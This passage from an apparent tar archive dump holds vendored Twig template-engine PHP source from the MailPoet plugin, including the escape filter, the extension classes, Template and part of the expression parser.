(!isset($this->safeClasses[$class])) { $this->safeClasses[$class] = []; } $this->safeClasses[$class] = \array_merge($this->safeClasses[$class], $strategies); foreach ($strategies as $strategy) { $this->safeLookup[$strategy][$class] = \true; } } } \class_alias('MailPoetVendor\\Twig\\Extension\\EscaperExtension', 'MailPoetVendor\\Twig_Extension_Escaper'); namespace MailPoetVendor; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Error\RuntimeError; use MailPoetVendor\Twig\Extension\CoreExtension; use MailPoetVendor\Twig\Extension\EscaperExtension; use MailPoetVendor\Twig\Markup; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Node; function twig_raw_filter($string) { return $string; } function twig_escape_filter(\MailPoetVendor\Twig\Environment $env, $string, $strategy = 'html', $charset = null, $autoescape = \false) { if ($autoescape && $string instanceof \MailPoetVendor\Twig\Markup) { return $string; } if (!\is_string($string)) { if (\is_object($string) && \method_exists($string, '__toString')) { if ($autoescape) { $c = \get_class($string); $ext = $env->getExtension(\MailPoetVendor\Twig\Extension\EscaperExtension::class); if (!isset($ext->safeClasses[$c])) { $ext->safeClasses[$c] = []; foreach (\class_parents($string) + \class_implements($string) as $class) { if (isset($ext->safeClasses[$class])) { $ext->safeClasses[$c] = \array_unique(\array_merge($ext->safeClasses[$c], $ext->safeClasses[$class])); foreach ($ext->safeClasses[$class] as $s) { $ext->safeLookup[$s][$c] = \true; } } } } if (isset($ext->safeLookup[$strategy][$c]) || isset($ext->safeLookup['all'][$c])) { return (string) $string; } } $string = (string) $string; } elseif (\in_array($strategy, ['html', 'js', 'css', 'html_attr', 'url'])) { return $string; } } if ('' === $string) { return ''; } if (null === $charset) { $charset = $env->getCharset(); } switch ($strategy) { case 'html': static $htmlspecialcharsCharsets = ['ISO-8859-1' => \true, 'ISO8859-1' => \true, 'ISO-8859-15' => \true, 'ISO8859-15' => \true, 'utf-8' => \true, 'UTF-8' => \true, 'CP866' => \true, 'IBM866' => \true, '866' => \true, 'CP1251' => \true, 'WINDOWS-1251' => \true, 'WIN-1251' => \true, '1251' => \true, 'CP1252' => \true, 'WINDOWS-1252' => \true, '1252' => \true, 'KOI8-R' => \true, 'KOI8-RU' => \true, 'KOI8R' => \true, 'BIG5' => \true, '950' => \true, 'GB2312' => \true, '936' => \true, 'BIG5-HKSCS' => \true, 'SHIFT_JIS' => \true, 'SJIS' => \true, '932' => \true, 'EUC-JP' => \true, 'EUCJP' => \true, 'ISO8859-5' => \true, 'ISO-8859-5' => \true, 'MACROMAN' => \true]; if (isset($htmlspecialcharsCharsets[$charset])) { return \htmlspecialchars($string, \ENT_QUOTES | \ENT_SUBSTITUTE, $charset); } if (isset($htmlspecialcharsCharsets[\strtoupper($charset)])) { $htmlspecialcharsCharsets[$charset] = \true; return \htmlspecialchars($string, \ENT_QUOTES | \ENT_SUBSTITUTE, $charset); } $string = \MailPoetVendor\twig_convert_encoding($string, 'UTF-8', $charset); $string = \htmlspecialchars($string, \ENT_QUOTES | \ENT_SUBSTITUTE, 'UTF-8'); return \iconv('UTF-8', $charset, $string); case 'js': if ('UTF-8' !== $charset) { $string = \MailPoetVendor\twig_convert_encoding($string, 'UTF-8', $charset); } if (!\preg_match('//u', $string)) { throw new \MailPoetVendor\Twig\Error\RuntimeError('The string to escape is not a valid UTF-8 string.'); } $string = \preg_replace_callback('#[^a-zA-Z0-9,\\._]#Su', function ($matches) { $char = $matches[0]; static $shortMap = ['\\' => '\\\\', '/' => '\\/', "\10" => '\\b', "\f" => '\\f', "\n" => '\\n', "\r" => '\\r', "\t" => '\\t']; if (isset($shortMap[$char])) { return $shortMap[$char]; } $char = \MailPoetVendor\twig_convert_encoding($char, 'UTF-16BE', 'UTF-8'); $char = \strtoupper(\bin2hex($char)); if (4 >= \strlen($char)) { return \sprintf('\\u%04s', $char); } return \sprintf('\\u%04s\\u%04s', \substr($char, 0, -4), \substr($char, -4)); }, $string); if ('UTF-8' !== $charset) { $string = \iconv('UTF-8', $charset, $string); } return $string; case 'css': if ('UTF-8' !== $charset) { $string = \MailPoetVendor\twig_convert_encoding($string, 'UTF-8', $charset); } if (!\preg_match('//u', $string)) { throw new \MailPoetVendor\Twig\Error\RuntimeError('The string to escape is not a valid UTF-8 string.'); } $string = \preg_replace_callback('#[^a-zA-Z0-9]#Su', function ($matches) { $char = $matches[0]; return \sprintf('\\%X ', 1 === \strlen($char) ? \ord($char) : \mb_ord($char, 'UTF-8')); }, $string); if ('UTF-8' !== $charset) { $string = \iconv('UTF-8', $charset, $string); } return $string; case 'html_attr': if ('UTF-8' !== $charset) { $string = \MailPoetVendor\twig_convert_encoding($string, 'UTF-8', $charset); } if (!\preg_match('//u', $string)) { throw new \MailPoetVendor\Twig\Error\RuntimeError('The string to escape is not a valid UTF-8 string.'); } $string = \preg_replace_callback('#[^a-zA-Z0-9,\\.\\-_]#Su', function ($matches) { $chr = $matches[0]; $ord = \ord($chr); if ($ord <= 0x1f && "\t" != $chr && "\n" != $chr && "\r" != $chr || $ord >= 0x7f && $ord <= 0x9f) { return '&#xFFFD;'; } if (1 === \strlen($chr)) { static $entityMap = [ 34 => '&quot;', 38 => '&amp;', 60 => '&lt;', 62 => '&gt;', ]; if (isset($entityMap[$ord])) { return $entityMap[$ord]; } return \sprintf('&#x%02X;', $ord); } return \sprintf('&#x%04X;', \mb_ord($chr, 'UTF-8')); }, $string); if ('UTF-8' !== $charset) { $string = \iconv('UTF-8', $charset, $string); } return $string; case 'url': return \rawurlencode($string); default: static $escapers; if (null === $escapers) { $escapers = \array_merge($env->getExtension(\MailPoetVendor\Twig\Extension\CoreExtension::class)->getEscapers(\false), $env->getExtension(\MailPoetVendor\Twig\Extension\EscaperExtension::class)->getEscapers()); } if (isset($escapers[$strategy])) { return $escapers[$strategy]($env, $string, $charset); } $validStrategies = \implode(', ', \array_merge(['html', 'js', 'url', 'css', 'html_attr'], \array_keys($escapers))); throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('Invalid escaping strategy "%s" (valid ones: %s).', $strategy, $validStrategies)); } } function twig_escape_filter_is_safe(\MailPoetVendor\Twig\Node\Node $filterArgs) { foreach ($filterArgs as $arg) { if ($arg instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { return [$arg->getAttribute('value')]; } return []; } return ['html']; } twig/src/Extension/ExtensionInterface.php000066600000001264150351206230014573 0ustar00<?php
 namespace MailPoetVendor\Twig\Extension; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface; use MailPoetVendor\Twig\TokenParser\TokenParserInterface; use MailPoetVendor\Twig\TwigFilter; use MailPoetVendor\Twig\TwigFunction; use MailPoetVendor\Twig\TwigTest; interface ExtensionInterface { public function getTokenParsers(); public function getNodeVisitors(); public function getFilters(); public function getTests(); public function getFunctions(); public function getOperators(); } \class_alias('MailPoetVendor\\Twig\\Extension\\ExtensionInterface', 'MailPoetVendor\\Twig_ExtensionInterface'); \class_exists('MailPoetVendor\\Twig\\Environment'); twig/src/Extension/DebugExtension.php000066600000002515150351206230013721 0ustar00<?php
 namespace MailPoetVendor\Twig\Extension; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\TwigFunction; final class DebugExtension extends \MailPoetVendor\Twig\Extension\AbstractExtension { public function getFunctions() { $isDumpOutputHtmlSafe = \extension_loaded('xdebug') && (\false === \ini_get('xdebug.overload_var_dump') || \ini_get('xdebug.overload_var_dump')) && (\false === \ini_get('html_errors') || \ini_get('html_errors')) || 'cli' === \PHP_SAPI; return [new \MailPoetVendor\Twig\TwigFunction('dump', '\\MailPoetVendor\\twig_var_dump', ['is_safe' => $isDumpOutputHtmlSafe ? ['html'] : [], 'needs_context' => \true, 'needs_environment' => \true, 'is_variadic' => \true])]; } } \class_alias('MailPoetVendor\\Twig\\Extension\\DebugExtension', 'MailPoetVendor\\Twig_Extension_Debug'); namespace MailPoetVendor; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Template; use MailPoetVendor\Twig\TemplateWrapper; function twig_var_dump(\MailPoetVendor\Twig\Environment $env, $context, ...$vars) { if (!$env->isDebug()) { return; } \ob_start(); if (!$vars) { $vars = []; foreach ($context as $key => $value) { if (!$value instanceof \MailPoetVendor\Twig\Template && !$value instanceof \MailPoetVendor\Twig\TemplateWrapper) { $vars[$key] = $value; } } \var_dump($vars); } else { \var_dump(...$vars); } return \ob_get_clean(); } twig/src/Extension/AbstractExtension.php000066600000001053150351206230014432 0ustar00<?php
 namespace MailPoetVendor\Twig\Extension; if (!defined('ABSPATH')) exit; abstract class AbstractExtension implements \MailPoetVendor\Twig\Extension\ExtensionInterface { public function getTokenParsers() { return []; } public function getNodeVisitors() { return []; } public function getFilters() { return []; } public function getTests() { return []; } public function getFunctions() { return []; } public function getOperators() { return []; } } \class_alias('MailPoetVendor\\Twig\\Extension\\AbstractExtension', 'MailPoetVendor\\Twig_Extension'); twig/src/Extension/index.php000066600000000000150351206230012070 0ustar00twig/src/Template.php000066600000015670150351206230010603 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\Error; use MailPoetVendor\Twig\Error\LoaderError; use MailPoetVendor\Twig\Error\RuntimeError; abstract class Template { const ANY_CALL = 'any'; const ARRAY_CALL = 'array'; const METHOD_CALL = 'method'; protected $parent; protected $parents = []; protected $env; protected $blocks = []; protected $traits = []; protected $extensions = []; protected $sandbox; public function __construct(\MailPoetVendor\Twig\Environment $env) { $this->env = $env; $this->extensions = $env->getExtensions(); } public function __toString() { return $this->getTemplateName(); } public abstract function getTemplateName(); public abstract function getDebugInfo(); public function getSourceContext() { return new \MailPoetVendor\Twig\Source('', $this->getTemplateName()); } public function getParent(array $context) { if (null !== $this->parent) { return $this->parent; } try { $parent = $this->doGetParent($context); if (\false === $parent) { return \false; } if ($parent instanceof self || $parent instanceof \MailPoetVendor\Twig\TemplateWrapper) { return $this->parents[$parent->getSourceContext()->getName()] = $parent; } if (!isset($this->parents[$parent])) { $this->parents[$parent] = $this->loadTemplate($parent); } } catch (\MailPoetVendor\Twig\Error\LoaderError $e) { $e->setSourceContext(null); $e->guess(); throw $e; } return $this->parents[$parent]; } protected function doGetParent(array $context) { return \false; } public function isTraitable() { return \true; } public function displayParentBlock($name, array $context, array $blocks = []) { if (isset($this->traits[$name])) { $this->traits[$name][0]->displayBlock($name, $context, $blocks, \false); } elseif (\false !== ($parent = $this->getParent($context))) { $parent->displayBlock($name, $context, $blocks, \false); } else { throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('The template has no parent and no traits defining the "%s" block.', $name), -1, $this->getSourceContext()); } } public function displayBlock($name, array $context, array $blocks = [], $useBlocks = \true, self $templateContext = null) { if ($useBlocks && isset($blocks[$name])) { $template = $blocks[$name][0]; $block = $blocks[$name][1]; } elseif (isset($this->blocks[$name])) { $template = $this->blocks[$name][0]; $block = $this->blocks[$name][1]; } else { $template = null; $block = null; } if (null !== $template && !$template instanceof self) { throw new \LogicException('A block must be a method on a \\Twig\\Template instance.'); } if (null !== $template) { try { $template->{$block}($context, $blocks); } catch (\MailPoetVendor\Twig\Error\Error $e) { if (!$e->getSourceContext()) { $e->setSourceContext($template->getSourceContext()); } if (-1 === $e->getTemplateLine()) { $e->guess(); } throw $e; } catch (\Exception $e) { $e = new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('An exception has been thrown during the rendering of a template ("%s").', $e->getMessage()), -1, $template->getSourceContext(), $e); $e->guess(); throw $e; } } elseif (\false !== ($parent = $this->getParent($context))) { $parent->displayBlock($name, $context, \array_merge($this->blocks, $blocks), \false, $templateContext ?? $this); } elseif (isset($blocks[$name])) { throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('Block "%s" should not call parent() in "%s" as the block does not exist in the parent template "%s".', $name, $blocks[$name][0]->getTemplateName(), $this->getTemplateName()), -1, $blocks[$name][0]->getSourceContext()); } else { throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('Block "%s" on template "%s" does not exist.', $name, $this->getTemplateName()), -1, ($templateContext ?? $this)->getSourceContext()); } } public function renderParentBlock($name, array $context, array $blocks = []) { if ($this->env->isDebug()) { \ob_start(); } else { \ob_start(function () { return ''; }); } $this->displayParentBlock($name, $context, $blocks); return \ob_get_clean(); } public function renderBlock($name, array $context, array $blocks = [], $useBlocks = \true) { if ($this->env->isDebug()) { \ob_start(); } else { \ob_start(function () { return ''; }); } $this->displayBlock($name, $context, $blocks, $useBlocks); return \ob_get_clean(); } public function hasBlock($name, array $context, array $blocks = []) { if (isset($blocks[$name])) { return $blocks[$name][0] instanceof self; } if (isset($this->blocks[$name])) { return \true; } if (\false !== ($parent = $this->getParent($context))) { return $parent->hasBlock($name, $context); } return \false; } public function getBlockNames(array $context, array $blocks = []) { $names = \array_merge(\array_keys($blocks), \array_keys($this->blocks)); if (\false !== ($parent = $this->getParent($context))) { $names = \array_merge($names, $parent->getBlockNames($context)); } return \array_unique($names); } protected function loadTemplate($template, $templateName = null, $line = null, $index = null) { try { if (\is_array($template)) { return $this->env->resolveTemplate($template); } if ($template instanceof self || $template instanceof \MailPoetVendor\Twig\TemplateWrapper) { return $template; } if ($template === $this->getTemplateName()) { $class = \get_class($this); if (\false !== ($pos = \strrpos($class, '___', -1))) { $class = \substr($class, 0, $pos); } return $this->env->loadClass($class, $template, $index); } return $this->env->loadTemplate($template, $index); } catch (\MailPoetVendor\Twig\Error\Error $e) { if (!$e->getSourceContext()) { $e->setSourceContext($templateName ? new \MailPoetVendor\Twig\Source('', $templateName) : $this->getSourceContext()); } if ($e->getTemplateLine() > 0) { throw $e; } if (!$line) { $e->guess(); } else { $e->setTemplateLine($line); } throw $e; } } protected function unwrap() { return $this; } public function getBlocks() { return $this->blocks; } public function display(array $context, array $blocks = []) { $this->displayWithErrorHandling($this->env->mergeGlobals($context), \array_merge($this->blocks, $blocks)); } public function render(array $context) { $level = \ob_get_level(); if ($this->env->isDebug()) { \ob_start(); } else { \ob_start(function () { return ''; }); } try { $this->display($context); } catch (\Throwable $e) { while (\ob_get_level() > $level) { \ob_end_clean(); } throw $e; } return \ob_get_clean(); } protected function displayWithErrorHandling(array $context, array $blocks = []) { try { $this->doDisplay($context, $blocks); } catch (\MailPoetVendor\Twig\Error\Error $e) { if (!$e->getSourceContext()) { $e->setSourceContext($this->getSourceContext()); } if (-1 === $e->getTemplateLine()) { $e->guess(); } throw $e; } catch (\Exception $e) { $e = new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('An exception has been thrown during the rendering of a template ("%s").', $e->getMessage()), -1, $this->getSourceContext(), $e); $e->guess(); throw $e; } } protected abstract function doDisplay(array $context, array $blocks = []); } \class_alias('MailPoetVendor\\Twig\\Template', 'MailPoetVendor\\Twig_Template'); twig/src/TwigFilter.php000066600000004445150351206230011106 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Expression\FilterExpression; use MailPoetVendor\Twig\Node\Node; class TwigFilter { private $name; private $callable; private $options; private $arguments = []; public function __construct(string $name, $callable = null, array $options = []) { if (__CLASS__ !== \get_class($this)) { @\trigger_error('Overriding ' . __CLASS__ . ' is deprecated since Twig 2.4.0 and the class will be final in 3.0.', \E_USER_DEPRECATED); } $this->name = $name; $this->callable = $callable; $this->options = \array_merge(['needs_environment' => \false, 'needs_context' => \false, 'is_variadic' => \false, 'is_safe' => null, 'is_safe_callback' => null, 'pre_escape' => null, 'preserves_safety' => null, 'node_class' => \MailPoetVendor\Twig\Node\Expression\FilterExpression::class, 'deprecated' => \false, 'alternative' => null], $options); } public function getName() { return $this->name; } public function getCallable() { return $this->callable; } public function getNodeClass() { return $this->options['node_class']; } public function setArguments($arguments) { $this->arguments = $arguments; } public function getArguments() { return $this->arguments; } public function needsEnvironment() { return $this->options['needs_environment']; } public function needsContext() { return $this->options['needs_context']; } public function getSafe(\MailPoetVendor\Twig\Node\Node $filterArgs) { if (null !== $this->options['is_safe']) { return $this->options['is_safe']; } if (null !== $this->options['is_safe_callback']) { return $this->options['is_safe_callback']($filterArgs); } } public function getPreservesSafety() { return $this->options['preserves_safety']; } public function getPreEscape() { return $this->options['pre_escape']; } public function isVariadic() { return $this->options['is_variadic']; } public function isDeprecated() { return (bool) $this->options['deprecated']; } public function getDeprecatedVersion() { return $this->options['deprecated']; } public function getAlternative() { return $this->options['alternative']; } } \class_alias('MailPoetVendor\\Twig\\TwigFilter', 'MailPoetVendor\\Twig_SimpleFilter', \false); \class_alias('MailPoetVendor\\Twig\\TwigFilter', 'MailPoetVendor\\Twig_Filter'); \class_exists('MailPoetVendor\\Twig\\Node\\Node'); twig/src/Source.php000066600000001014150351206230010253 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; final class Source { private $code; private $name; private $path; public function __construct(string $code, string $name, string $path = '') { $this->code = $code; $this->name = $name; $this->path = $path; } public function getCode() : string { return $this->code; } public function getName() { return $this->name; } public function getPath() : string { return $this->path; } } \class_alias('MailPoetVendor\\Twig\\Source', 'MailPoetVendor\\Twig_Source'); twig/src/NodeTraverser.php000066600000003006150351206230011601 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface; final class NodeTraverser { private $env; private $visitors = []; public function __construct(\MailPoetVendor\Twig\Environment $env, array $visitors = []) { $this->env = $env; foreach ($visitors as $visitor) { $this->addVisitor($visitor); } } public function addVisitor(\MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface $visitor) { $this->visitors[$visitor->getPriority()][] = $visitor; } public function traverse(\MailPoetVendor\Twig\Node\Node $node) : \MailPoetVendor\Twig\Node\Node { \ksort($this->visitors); foreach ($this->visitors as $visitors) { foreach ($visitors as $visitor) { $node = $this->traverseForVisitor($visitor, $node); } } return $node; } private function traverseForVisitor(\MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface $visitor, \MailPoetVendor\Twig\Node\Node $node) { $node = $visitor->enterNode($node, $this->env); foreach ($node as $k => $n) { if (\false !== ($m = $this->traverseForVisitor($visitor, $n)) && null !== $m) { if ($m !== $n) { $node->setNode($k, $m); } } else { if (\false === $m) { @\trigger_error('Returning "false" to remove a Node from NodeVisitorInterface::leaveNode() is deprecated since Twig version 2.9; return "null" instead.', \E_USER_DEPRECATED); } $node->removeNode($k); } } return $visitor->leaveNode($node, $this->env); } } \class_alias('MailPoetVendor\\Twig\\NodeTraverser', 'MailPoetVendor\\Twig_NodeTraverser'); twig/src/ExtensionSet.php000066600000022761150351206230011457 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\RuntimeError; use MailPoetVendor\Twig\Extension\ExtensionInterface; use MailPoetVendor\Twig\Extension\GlobalsInterface; use MailPoetVendor\Twig\Extension\InitRuntimeInterface; use MailPoetVendor\Twig\Extension\StagingExtension; use MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface; use MailPoetVendor\Twig\TokenParser\TokenParserInterface; final class ExtensionSet { private $extensions; private $initialized = \false; private $runtimeInitialized = \false; private $staging; private $parsers; private $visitors; private $filters; private $tests; private $functions; private $unaryOperators; private $binaryOperators; private $globals; private $functionCallbacks = []; private $filterCallbacks = []; private $lastModified = 0; public function __construct() { $this->staging = new \MailPoetVendor\Twig\Extension\StagingExtension(); } public function initRuntime(\MailPoetVendor\Twig\Environment $env) { if ($this->runtimeInitialized) { return; } $this->runtimeInitialized = \true; foreach ($this->extensions as $extension) { if ($extension instanceof \MailPoetVendor\Twig\Extension\InitRuntimeInterface) { $extension->initRuntime($env); } } } public function hasExtension(string $class) : bool { $class = \ltrim($class, '\\'); if (!isset($this->extensions[$class]) && \class_exists($class, \false)) { $class = (new \ReflectionClass($class))->name; } return isset($this->extensions[$class]); } public function getExtension(string $class) : \MailPoetVendor\Twig\Extension\ExtensionInterface { $class = \ltrim($class, '\\'); if (!isset($this->extensions[$class]) && \class_exists($class, \false)) { $class = (new \ReflectionClass($class))->name; } if (!isset($this->extensions[$class])) { throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('The "%s" extension is not enabled.', $class)); } return $this->extensions[$class]; } public function setExtensions(array $extensions) { foreach ($extensions as $extension) { $this->addExtension($extension); } } public function getExtensions() : array { return $this->extensions; } public function getSignature() : string { return \json_encode(\array_keys($this->extensions)); } public function isInitialized() : bool { return $this->initialized || $this->runtimeInitialized; } public function getLastModified() : int { if (0 !== $this->lastModified) { return $this->lastModified; } foreach ($this->extensions as $extension) { $r = new \ReflectionObject($extension); if (\file_exists($r->getFileName()) && ($extensionTime = \filemtime($r->getFileName())) > $this->lastModified) { $this->lastModified = $extensionTime; } } return $this->lastModified; } public function addExtension(\MailPoetVendor\Twig\Extension\ExtensionInterface $extension) { $class = \get_class($extension); if ($this->initialized) { throw new \LogicException(\sprintf('Unable to register extension "%s" as extensions have already been initialized.', $class)); } if (isset($this->extensions[$class])) { throw new \LogicException(\sprintf('Unable to register extension "%s" as it is already registered.', $class)); } $class = (new \ReflectionClass($class))->name; $this->extensions[$class] = $extension; } public function addFunction(\MailPoetVendor\Twig\TwigFunction $function) { if ($this->initialized) { throw new \LogicException(\sprintf('Unable to add function "%s" as extensions have already been initialized.', $function->getName())); } $this->staging->addFunction($function); } public function getFunctions() : array { if (!$this->initialized) { $this->initExtensions(); } return $this->functions; } public function getFunction(string $name) { if (!$this->initialized) { $this->initExtensions(); } if (isset($this->functions[$name])) { return $this->functions[$name]; } foreach ($this->functions as $pattern => $function) { $pattern = \str_replace('\\*', '(.*?)', \preg_quote($pattern, '#'), $count); if ($count && \preg_match('#^' . $pattern . '$#', $name, $matches)) { \array_shift($matches); $function->setArguments($matches); return $function; } } foreach ($this->functionCallbacks as $callback) { if (\false !== ($function = $callback($name))) { return $function; } } return \false; } public function registerUndefinedFunctionCallback(callable $callable) { $this->functionCallbacks[] = $callable; } public function addFilter(\MailPoetVendor\Twig\TwigFilter $filter) { if ($this->initialized) { throw new \LogicException(\sprintf('Unable to add filter "%s" as extensions have already been initialized.', $filter->getName())); } $this->staging->addFilter($filter); } public function getFilters() : array { if (!$this->initialized) { $this->initExtensions(); } return $this->filters; } public function getFilter(string $name) { if (!$this->initialized) { $this->initExtensions(); } if (isset($this->filters[$name])) { return $this->filters[$name]; } foreach ($this->filters as $pattern => $filter) { $pattern = \str_replace('\\*', '(.*?)', \preg_quote($pattern, '#'), $count); if ($count && \preg_match('#^' . $pattern . '$#', $name, $matches)) { \array_shift($matches); $filter->setArguments($matches); return $filter; } } foreach ($this->filterCallbacks as $callback) { if (\false !== ($filter = $callback($name))) { return $filter; } } return \false; } public function registerUndefinedFilterCallback(callable $callable) { $this->filterCallbacks[] = $callable; } public function addNodeVisitor(\MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface $visitor) { if ($this->initialized) { throw new \LogicException('Unable to add a node visitor as extensions have already been initialized.'); } $this->staging->addNodeVisitor($visitor); } public function getNodeVisitors() : array { if (!$this->initialized) { $this->initExtensions(); } return $this->visitors; } public function addTokenParser(\MailPoetVendor\Twig\TokenParser\TokenParserInterface $parser) { if ($this->initialized) { throw new \LogicException('Unable to add a token parser as extensions have already been initialized.'); } $this->staging->addTokenParser($parser); } public function getTokenParsers() : array { if (!$this->initialized) { $this->initExtensions(); } return $this->parsers; } public function getGlobals() : array { if (null !== $this->globals) { return $this->globals; } $globals = []; foreach ($this->extensions as $extension) { if (!$extension instanceof \MailPoetVendor\Twig\Extension\GlobalsInterface) { continue; } $extGlobals = $extension->getGlobals(); if (!\is_array($extGlobals)) { throw new \UnexpectedValueException(\sprintf('"%s::getGlobals()" must return an array of globals.', \get_class($extension))); } $globals = \array_merge($globals, $extGlobals); } if ($this->initialized) { $this->globals = $globals; } return $globals; } public function addTest(\MailPoetVendor\Twig\TwigTest $test) { if ($this->initialized) { throw new \LogicException(\sprintf('Unable to add test "%s" as extensions have already been initialized.', $test->getName())); } $this->staging->addTest($test); } public function getTests() : array { if (!$this->initialized) { $this->initExtensions(); } return $this->tests; } public function getTest(string $name) { if (!$this->initialized) { $this->initExtensions(); } if (isset($this->tests[$name])) { return $this->tests[$name]; } foreach ($this->tests as $pattern => $test) { $pattern = \str_replace('\\*', '(.*?)', \preg_quote($pattern, '#'), $count); if ($count) { if (\preg_match('#^' . $pattern . '$#', $name, $matches)) { \array_shift($matches); $test->setArguments($matches); return $test; } } } return \false; } public function getUnaryOperators() : array { if (!$this->initialized) { $this->initExtensions(); } return $this->unaryOperators; } public function getBinaryOperators() : array { if (!$this->initialized) { $this->initExtensions(); } return $this->binaryOperators; } private function initExtensions() { $this->parsers = []; $this->filters = []; $this->functions = []; $this->tests = []; $this->visitors = []; $this->unaryOperators = []; $this->binaryOperators = []; foreach ($this->extensions as $extension) { $this->initExtension($extension); } $this->initExtension($this->staging); $this->initialized = \true; } private function initExtension(\MailPoetVendor\Twig\Extension\ExtensionInterface $extension) { foreach ($extension->getFilters() as $filter) { $this->filters[$filter->getName()] = $filter; } foreach ($extension->getFunctions() as $function) { $this->functions[$function->getName()] = $function; } foreach ($extension->getTests() as $test) { $this->tests[$test->getName()] = $test; } foreach ($extension->getTokenParsers() as $parser) { if (!$parser instanceof \MailPoetVendor\Twig\TokenParser\TokenParserInterface) { throw new \LogicException('getTokenParsers() must return an array of \\Twig\\TokenParser\\TokenParserInterface.'); } $this->parsers[] = $parser; } foreach ($extension->getNodeVisitors() as $visitor) { $this->visitors[] = $visitor; } if ($operators = $extension->getOperators()) { if (!\is_array($operators)) { throw new \InvalidArgumentException(\sprintf('"%s::getOperators()" must return an array with operators, got "%s".', \get_class($extension), \is_object($operators) ? \get_class($operators) : \gettype($operators) . (\is_resource($operators) ? '' : '#' . $operators))); } if (2 !== \count($operators)) { throw new \InvalidArgumentException(\sprintf('"%s::getOperators()" must return an array of 2 elements, got %d.', \get_class($extension), \count($operators))); } $this->unaryOperators = \array_merge($this->unaryOperators, $operators[0]); $this->binaryOperators = \array_merge($this->binaryOperators, $operators[1]); } } } \class_alias('MailPoetVendor\\Twig\\ExtensionSet', 'MailPoetVendor\\Twig_ExtensionSet'); twig/src/ExpressionParser.php000066600000060473150351206230012345 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; use MailPoetVendor\Twig\Node\Expression\ArrayExpression; use MailPoetVendor\Twig\Node\Expression\ArrowFunctionExpression; use MailPoetVendor\Twig\Node\Expression\AssignNameExpression; use MailPoetVendor\Twig\Node\Expression\Binary\ConcatBinary; use MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression; use MailPoetVendor\Twig\Node\Expression\ConditionalExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Expression\GetAttrExpression; use MailPoetVendor\Twig\Node\Expression\MethodCallExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; use MailPoetVendor\Twig\Node\Expression\ParentExpression; use MailPoetVendor\Twig\Node\Expression\TestExpression; use MailPoetVendor\Twig\Node\Expression\Unary\NegUnary; use MailPoetVendor\Twig\Node\Expression\Unary\NotUnary; use MailPoetVendor\Twig\Node\Expression\Unary\PosUnary; use MailPoetVendor\Twig\Node\Node; class ExpressionParser { const OPERATOR_LEFT = 1; const OPERATOR_RIGHT = 2; private $parser; private $env; private $unaryOperators; private $binaryOperators; public function __construct(\MailPoetVendor\Twig\Parser $parser, \MailPoetVendor\Twig\Environment $env) { $this->parser = $parser; $this->env = $env; $this->unaryOperators = $env->getUnaryOperators(); $this->binaryOperators = $env->getBinaryOperators(); } public function parseExpression($precedence = 0, $allowArrow = \false) { if ($allowArrow && ($arrow = $this->parseArrow())) { return $arrow; } $expr = $this->getPrimary(); $token = $this->parser->getCurrentToken(); while ($this->isBinary($token) && $this->binaryOperators[$token->getValue()]['precedence'] >= $precedence) { $op = $this->binaryOperators[$token->getValue()]; $this->parser->getStream()->next(); if ('is not' === $token->getValue()) { $expr = $this->parseNotTestExpression($expr); } elseif ('is' === $token->getValue()) { $expr = $this->parseTestExpression($expr); } elseif (isset($op['callable'])) { $expr = $op['callable']($this->parser, $expr); } else { $expr1 = $this->parseExpression(self::OPERATOR_LEFT === $op['associativity'] ? $op['precedence'] + 1 : $op['precedence']); $class = $op['class']; $expr = new $class($expr, $expr1, $token->getLine()); } $token = $this->parser->getCurrentToken(); } if (0 === $precedence) { return $this->parseConditionalExpression($expr); } return $expr; } private function parseArrow() { $stream = $this->parser->getStream(); if ($stream->look(1)->test( 12 )) { $line = $stream->getCurrent()->getLine(); $token = $stream->expect( 5 ); $names = [new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression($token->getValue(), $token->getLine())]; $stream->expect( 12 ); return new \MailPoetVendor\Twig\Node\Expression\ArrowFunctionExpression($this->parseExpression(0), new \MailPoetVendor\Twig\Node\Node($names), $line); } $i = 0; if (!$stream->look($i)->test( 9, '(' )) { return null; } ++$i; while (\true) { ++$i; if (!$stream->look($i)->test( 9, ',' )) { break; } ++$i; } if (!$stream->look($i)->test( 9, ')' )) { return null; } ++$i; if (!$stream->look($i)->test( 12 )) { return null; } $token = $stream->expect( 9, '(' ); $line = $token->getLine(); $names = []; while (\true) { $token = $stream->expect( 5 ); $names[] = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression($token->getValue(), $token->getLine()); if (!$stream->nextIf( 9, ',' )) { break; } } $stream->expect( 9, ')' ); $stream->expect( 12 ); return new 